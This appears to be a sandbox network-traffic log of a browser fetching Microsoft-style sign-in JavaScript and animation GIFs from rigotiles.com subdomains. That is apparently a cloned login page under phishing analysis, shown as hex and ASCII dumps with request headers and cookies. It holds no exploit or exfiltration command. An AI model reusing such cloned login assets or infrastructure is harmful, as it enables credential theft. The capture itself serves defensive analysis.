2024-10-31 20:55:24 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 32 32 31 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 30 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 31 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 34 32 35 34 36 30 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 31 61 62 36 64 37 63 63 63 33 65 31 37 65 33 65 26 74 73 3d 31 36 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1221&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1315&delivery_rate=2425460&cwnd=251&unsent_bytes=0&cid=1ab6d7ccc3e17e3e&ts=164&x=0"
2024-10-31 20:55:24 UTC	1315	IN	Data Raw: 33 64 38 62 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f Data Ascii: 3d8b/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright no
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 64 65 6e 74 69 61 6c 2c 67 3d 21 21 65 2e 69 73 50 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 2c 68 3d 65 2e 73 65 73 73 69 6f 6e 50 75 6c 6c 54 79 70 65 2c 76 3d 65 2e 69 73 49 6e 69 74 69 61 6c 56 69 65 77 2c 6b 3d 74 2e 61 72 72 53 65 73 73 69 6f 6e 73 7c 7c 5b 5d 2c 77 3d 74 2e 63 61 6e 61 72 79 2c 52 3d 74 2e 64 65 73 6b 74 6f 70 53 73 6f 43 6f 6e 66 69 67 2c 54 3d 74 2e 73 43 74 78 2c 79 3d 74 2e 75 72 6c 4c 6f 67 69 6e 2c 43 3d 74 2e 6f 47 65 74 43 72 65 64 54 79 70 65 52 65 73 75 6c 74 2c 78 3d 74 2e 66 53 68 6f 77 54 69 6c 65 73 41 66 74 65 72 53 65 73 73 69 6f 6e 50 75 6c 6c 2c 44 3d 74 2e 73 50 72 65 66 69 6c 6c 55 73 65 72 6e 61 6d 65 3b 66 75 6e 63 74 69 6f 6e 20 5f 28 29 7b 76 61 72 20 65 3b 73 26 26 52 26 26 52 2e 69 73 45 64 67 65 41 6c Data Ascii: dential,g=!!e.isPushNotification,h=e.sessionPullType,v=e.isInitialView,k=t.arrSessions\|\|[],w=t.canary,R=t.desktopSsoConfig,T=t.sCtx,y=t.urlLogin,C=t.oGetCredTypeResult,x=t.fShowTilesAfterSessionPull,D=t.sPrefillUsername;function _(){var e;s&&R&&R.isEdgeAl
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 67 72 65 73 73 5f 6f 6e 48 61 6e 64 6c 65 44 73 73 6f 53 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 6f 6e 53 75 62 6d 69 74 52 65 61 64 79 28 29 7d 2c 6e 2e 66 65 74 63 68 53 65 73 73 69 6f 6e 73 50 72 6f 67 72 65 73 73 5f 6f 6e 52 65 64 69 72 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 6e 2e 6f 6e 52 65 64 69 72 65 63 74 28 65 2c 73 29 7d 2c 6e 2e 66 65 74 63 68 53 65 73 73 69 6f 6e 73 50 72 6f 67 72 65 73 73 5f 6f 6e 44 65 73 6b 74 6f 70 53 73 6f 46 61 6c 6c 62 61 63 6b 56 69 65 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 5f 28 29 7d 2c 6e 2e 66 65 74 63 68 53 65 73 73 69 6f 6e 73 50 72 6f 67 72 65 73 73 5f 6f 6e 55 70 64 61 74 65 55 73 65 72 54 69 6c 65 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 73 29 7b 43 26 26 43 2e 49 66 45 78 69 Data Ascii: gress_onHandleDssoSuccess=function(){n.onSubmitReady()},n.fetchSessionsProgress_onRedirect=function(e,s){n.onRedirect(e,s)},n.fetchSessionsProgress_onDesktopSsoFallbackView=function(){_()},n.fetchSessionsProgress_onUpdateUserTiles=function(e,s){C&&C.IfExi
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 67 72 65 73 73 22 20 72 6f 6c 65 3d 22 70 72 6f 67 72 65 73 73 62 61 72 22 20 64 61 74 61 2d 62 69 6e 64 3d 22 63 6f 6d 70 6f 6e 65 6e 74 3a 20 5c 27 6d 61 72 63 68 69 6e 67 2d 61 6e 74 73 2d 63 6f 6e 74 72 6f 6c 5c 27 2c 20 61 72 69 61 4c 61 62 65 6c 3a 20 73 74 72 5b 5c 27 57 46 5f 53 54 52 5f 50 72 6f 67 72 65 73 73 54 65 78 74 5c 27 5d 22 3e 3c 2f 64 69 76 3e 5c 6e 3c 2f 64 69 76 3e 5c 6e 5c 6e 5c 78 33 63 21 2d 2d 20 6b 6f 20 69 66 3a 20 28 73 65 73 73 69 6f 6e 50 75 6c 6c 54 79 70 65 20 26 20 27 29 2b 73 28 30 29 2e 53 65 73 73 69 6f 6e 50 75 6c 6c 46 6c 61 67 73 2e 44 73 73 6f 2b 27 29 20 21 3d 20 30 20 2d 2d 5c 78 33 65 5c 6e 3c 61 20 69 64 3d 22 64 65 73 6b 74 6f 70 53 73 6f 43 61 6e 63 65 6c 22 Data Ascii: <div class="progress" role="progressbar" data-bind="component: \'marching-ants-control\', ariaLabel: str[\'WF_STR_ProgressText\']"></div>\n</div>\n\n\x3c!-- ko if: (sessionPullType & ')+s(0).SessionPullFlags.Dsso+') != 0 --\x3e\n<a id="desktopSsoCancel"
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 29 2c 70 3d 73 28 37 29 2c 6d 3d 77 69 6e 64 6f 77 2c 53 3d 6f 2e 51 75 65 72 79 53 74 72 69 6e 67 2c 66 3d 61 2e 4f 62 6a 65 63 74 2c 67 3d 61 2e 44 61 74 65 54 69 6d 65 2c 68 3d 70 2e 53 65 73 73 69 6f 6e 49 64 70 2c 76 3d 61 2e 53 74 72 69 6e 67 2c 6b 3d 6f 2e 48 65 6c 70 65 72 2c 77 3d 64 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 3b 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 73 3d 65 2e 73 65 72 76 65 72 44 61 74 61 2c 6f 3d 65 2e 6e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 41 75 74 68 52 65 71 75 65 73 74 2c 61 3d 65 2e 75 73 65 72 6e 61 6d 65 2c 64 3d 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 2c 70 3d 65 2e 75 6e 73 61 66 65 5f 64 65 73 6b 74 6f 70 53 73 6f 44 6f 6d 61 69 6e 54 6f 55 73 65 2c 52 3d 65 2e 73 65 73 73 69 Data Ascii: ),p=s(7),m=window,S=o.QueryString,f=a.Object,g=a.DateTime,h=p.SessionIdp,v=a.String,k=o.Helper,w=d.PaginatedState;function R(e){var n=this,s=e.serverData,o=e.nonInteractiveAuthRequest,a=e.username,d=e.displayName,p=e.unsafe_desktopSsoDomainToUse,R=e.sessi
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 6e 64 6f 77 73 53 73 6f 7d 29 29 2c 43 3d 44 2e 6c 65 6e 67 74 68 2c 42 26 26 6a 29 7b 76 61 72 20 73 3d 74 2e 75 74 69 6c 73 2e 61 72 72 61 79 46 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6d 61 74 63 68 65 73 4c 6f 67 69 6e 48 69 6e 74 7d 29 29 3b 73 26 26 28 5f 3d 73 2c 28 73 2e 69 73 53 69 67 6e 65 64 49 6e 7c 7c 73 2e 69 73 57 69 6e 64 6f 77 73 53 73 6f 29 26 26 21 73 2e 69 73 4d 65 43 6f 6e 74 72 6f 6c 53 65 73 73 69 6f 6e 26 26 73 2e 69 64 26 26 28 46 3d 73 29 29 3b 76 61 72 20 6f 3d 74 2e 75 74 69 6c 73 2e 61 72 72 61 79 46 69 72 73 74 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 28 21 65 2e 73 69 67 6e 49 6e 4e 61 6d 65 7c 7c 65 2e 73 69 67 6e 49 6e 4e 61 6d 65 2e 74 6f 4c 6f 77 Data Ascii: ndowsSso})),C=D.length,B&&j){var s=t.utils.arrayFirst(n,(function(e){return e.matchesLoginHint}));s&&(_=s,(s.isSignedIn\|\|s.isWindowsSso)&&!s.isMeControlSession&&s.id&&(F=s));var o=t.utils.arrayFirst(e,(function(e){return!(!e.signInName\|\|e.signInName.toLow
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 6d 2c 22 6d 65 73 73 61 67 65 22 2c 75 65 29 2c 6e 2e 6f 6e 44 65 63 72 65 6d 65 6e 74 41 73 79 6e 63 54 69 6c 65 52 65 71 75 65 73 74 43 6f 75 6e 74 28 29 2c 72 65 26 26 41 7c 7c 21 72 65 26 26 6f 65 26 26 49 3f 49 2e 74 68 65 6e 28 70 65 2c 6d 65 29 3a 6e 2e 6f 6e 55 70 64 61 74 65 55 73 65 72 54 69 6c 65 73 28 5b 5d 2c 5b 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 65 28 65 29 7b 69 66 28 65 29 7b 76 61 72 20 73 3d 7b 63 61 6e 61 72 79 3a 4c 2c 63 6c 69 65 6e 74 5f 69 64 3a 53 2e 65 78 74 72 61 63 74 28 22 63 6c 69 65 6e 74 5f 69 64 22 29 2c 63 74 78 3a 24 7d 3b 5a 26 26 59 2e 69 73 46 6c 6f 77 54 6f 6b 65 6e 50 61 73 73 65 64 49 6e 45 64 67 65 26 26 28 73 2e 66 6c 6f 77 74 6f 6b 65 6e 3d 65 65 29 2c 6f 7c 7c 28 73 2e Data Ascii: ventListener(m,"message",ue),n.onDecrementAsyncTileRequestCount(),re&&A\|\|!re&&oe&&I?I.then(pe,me):n.onUpdateUserTiles([],[])}function pe(e){if(e){var s={canary:L,client_id:S.extract("client_id"),ctx:$};Z&&Y.isFlowTokenPassedInEdge&&(s.flowtoken=ee),o\|\|(s.
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 6e 64 6c 65 44 73 73 6f 53 75 63 63 65 73 73 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 48 61 6e 64 6c 65 44 73 73 6f 46 61 69 6c 75 72 65 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 44 65 73 6b 74 6f 70 53 73 6f 46 61 6c 6c 62 61 63 6b 56 69 65 77 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 52 65 64 69 72 65 63 74 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 49 6e 63 72 65 6d 65 6e 74 41 73 79 6e 63 54 69 6c 65 52 65 71 75 65 73 74 43 6f 75 6e 74 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 44 65 63 72 65 6d 65 6e 74 41 73 79 6e 63 54 69 6c 65 52 65 71 75 65 73 74 43 6f 75 6e 74 3d 72 2e 63 72 65 61 74 65 28 29 2c 6e 2e 64 65 73 6b 74 6f 70 53 73 6f 52 75 6e 6e 69 6e 67 3d 74 2e 6f 62 73 65 72 76 61 62 6c 65 28 21 31 29 2c 6e 2e 63 61 Data Ascii: ndleDssoSuccess=r.create(),n.onHandleDssoFailure=r.create(),n.onDesktopSsoFallbackView=r.create(),n.onRedirect=r.create(),n.onIncrementAsyncTileRequestCount=r.create(),n.onDecrementAsyncTileRequestCount=r.create(),n.desktopSsoRunning=t.observable(!1),n.ca
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 26 26 20 63 61 6c 6c 4d 73 61 53 74 61 74 69 63 4d 65 43 6f 6e 74 72 6f 6c 28 29 20 2d 2d 5c 78 33 65 5c 6e 3c 64 69 76 20 64 61 74 61 2d 62 69 6e 64 3d 22 69 6e 6a 65 63 74 49 66 72 61 6d 65 3a 20 7b 20 75 72 6c 3a 20 73 76 72 2e 75 72 6c 4d 73 61 53 74 61 74 69 63 4d 65 43 6f 6e 74 72 6f 6c 2c 20 6f 6e 6c 6f 61 64 3a 20 69 46 72 61 6d 65 5f 6f 6e 6c 6f 61 64 20 7d 22 3e 3c 2f 64 69 76 3e 5c 6e 5c 78 33 63 21 2d 2d 20 2f 6b 6f 20 2d 2d 5c 78 33 65 5c 6e 5c 6e 5c 78 33 63 21 2d 2d 20 6b 6f 20 69 66 3a 20 73 76 72 2e 64 65 73 6b 74 6f 70 53 73 6f 43 6f 6e 66 69 67 20 26 26 20 21 69 73 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 41 75 74 68 52 65 71 75 65 73 74 20 2d 2d 5c 78 33 65 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 5c 6e 20 20 20 20 3c Data Ascii: && callMsaStaticMeControl() --\x3e\n<div data-bind="injectIframe: { url: svr.urlMsaStaticMeControl, onload: iFrame_onload }"></div>\n\x3c!-- /ko --\x3e\n\n\x3c!-- ko if: svr.desktopSsoConfig && !isNonInteractiveAuthRequest --\x3e\n<div class="row">\n <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	51049	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:24 UTC	785	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:24 UTC	1198	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:24 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DB5C3F48EC4154 Last-Modified: Wed, 24 May 2023 10:11:47 GMT X-Azure-Ref: 20241029T162004Z-17d9cd8886fthbtdm0wyfbbd8c00000005c0000000000yg1 X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: ba185ff7-b01e-0052-316e-268013000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189320 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RsxujpbUGMLkDhtZkq9t8TvUPPmNlnzoM%2Bp3leodIhrifSp1FtaWU2Fu7wETlsb4%2F8oThbaTSJEfKoX%2BhtkOkf3ocb5wE5I0VX7sp2TrjMkHS26su795F3aNzb9eD3zCdzJuPJdZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bb8fb71e79e-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:24 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 34 30 35 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 36 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 30 35 32 34 34 35 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 33 65 39 30 31 35 61 64 62 63 30 65 30 31 63 26 74 73 3d 31 36 37 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1405&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1363&delivery_rate=2052445&cwnd=252&unsent_bytes=0&cid=a3e9015adbc0e01c&ts=167&x=0"
2024-10-31 20:55:24 UTC	1349	IN	Data Raw: 61 37 30 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e Data Ascii: a70GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~
2024-10-31 20:55:24 UTC	1330	IN	Data Raw: 18 89 24 69 9e d4 07 72 a9 8a b6 30 f6 ce 8c 53 00 00 21 f9 04 09 03 00 00 00 2c 73 00 00 00 9c 00 03 00 00 02 23 8c 81 a9 cb bd 16 9c 9c 14 c1 8a eb cd 1c c0 dd 71 60 48 5a 47 19 8e 68 f3 9d eb a4 be 58 2c 3b 74 0d 15 00 21 f9 04 09 05 00 00 00 2c 73 00 00 00 ac 00 03 00 00 02 29 8c 81 99 16 ea 0f a3 54 6c da fb 2a de f9 70 cc 68 90 f8 95 a3 67 a6 64 6a ad 2c 15 36 91 fb 7e 74 3d dd f8 82 ee 08 53 00 00 21 f9 04 09 05 00 00 00 2c 73 00 00 00 ba 00 03 00 00 02 29 8c 81 a9 cb bd 16 9c 9c 34 c1 8a e9 cd 1c ed ee 40 1f 88 8d e4 69 9e 55 aa 32 2c 2a 46 ad 76 cc e4 6b 3f 75 ee ee 36 54 00 00 21 f9 04 09 05 00 00 00 2c 80 00 00 00 ba 00 03 00 00 02 28 8c 81 a9 cb ed 6d c2 9b d4 c5 8a df cd 79 73 18 1d df a8 89 24 e9 9d 55 aa 2e ec 19 9a 2d 2c cf 6b 6d 33 af bd Data Ascii: $ir0S!,s#q`HZGhX,;t!,s)Tlphgdj,6~t=S!,s)4@iU2,Fvk?u6T!,(mys$U.-,km3
2024-10-31 20:55:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	51050	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:24 UTC	779	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:24 UTC	1196	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:24 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DB5C3F4904824B Last-Modified: Wed, 24 May 2023 10:11:48 GMT X-Azure-Ref: 20241029T162004Z-17d9cd8886fthbtdm0wyfbbd8c00000005c0000000000yg2 X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 1bea115d-201e-000e-03ab-26eae6000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189320 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yrjdUFMlW7cYHed4i5zngrMs9cIC5N0IJV7qaiZc69TffuZQZNQ1mcAsK3hgshsgM3rVuou1oFbORYk8kyEQr%2BF1x3K%2Fv3wU4X5oEgx1CDi8PiJ1pYjM0OcasiQHjbmc58TdAFdC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bb92e0ce752-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:24 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 39 39 32 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 35 37 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 34 32 38 30 30 37 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 31 35 37 61 63 66 61 34 30 64 62 63 33 33 38 36 26 74 73 3d 31 37 30 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1992&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1357&delivery_rate=1428007&cwnd=251&unsent_bytes=0&cid=157acfa40dbc3386&ts=170&x=0"
2024-10-31 20:55:24 UTC	1351	IN	Data Raw: 65 32 34 0d 0a 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 Data Ascii: e24GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: b1 6b 0a c7 f2 4c d7 f6 5d be 8f 0e 69 17 0e 0c 0a 87 c0 02 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 2c 84 8f a9 cb ed 0f 5d 98 11 cc b0 6e dd bc fb 0f 86 e2 48 96 e6 89 66 54 a4 29 6d 0a c7 f2 4c d7 f6 3d be 8f 7e f0 f8 0f 0c 0a 53 05 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 2b 84 8f a9 cb ed 0f a3 09 54 d2 30 ab dc bc fb 0f 86 e2 48 96 e6 89 3e 97 a5 ad e9 0b c7 f2 4c d7 76 ea 42 6e 7e f7 fe 0f 84 15 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 27 84 8f a9 cb ed 0f a3 0b f4 d1 20 b3 de bc fb 0f 86 e2 48 96 a6 77 59 d5 c9 b6 ee 0b c7 f2 3c a7 d3 4a e7 fa ce bb 05 00 21 f9 04 09 06 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 28 84 8f a9 cb ed 0f a3 4c a1 9a 1a a6 de bc fb 0f 86 e2 48 96 e6 29 61 97 85 Data Ascii: kL]i!,`,]nHfT)mL=~S!,`+T0H>LvBn~!,`' HwY<J!,`(LH)a
2024-10-31 20:55:24 UTC	907	IN	Data Raw: 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 37 84 8f a9 cb ed 0f a3 9c b4 da 6b 83 c6 53 07 de 78 a0 21 56 a5 72 8e ea ca b6 ee 0b 23 69 3c af 75 b6 99 39 ba c7 fe 0f 0c 0a 3b 3d 5a d1 76 c4 7d 74 4b 5e 93 51 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 37 84 1d 79 cb ed 0f a3 9c b4 da 8b b3 de 34 05 2e 79 60 23 6e 65 a8 68 e7 c8 b6 ee 0b c7 32 b3 c2 f5 78 5b 39 99 66 fb 0c 0c 0a 87 44 d4 67 f6 53 f5 7c 4b 48 92 51 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d 79 cb ed 0f a3 9c b4 da 8b b3 de 3c a6 d0 3d 5f 08 8c 98 d9 a0 94 4a b6 ee 0b c7 f2 5c b1 ad 9d e1 92 ae 8b 0a 0d 0c 0a 87 44 59 8f 73 ac fd 2e bc e5 a3 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 35 84 1d 99 c7 ed 0f a3 9c Data Ascii: !,`7kSx!Vr#i<u9;=Zv}tK^Q!,`7y4.y`#neh2x[9fDgS\|KHQ!,`6y<=_J\DYs.!,`5
2024-10-31 20:55:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

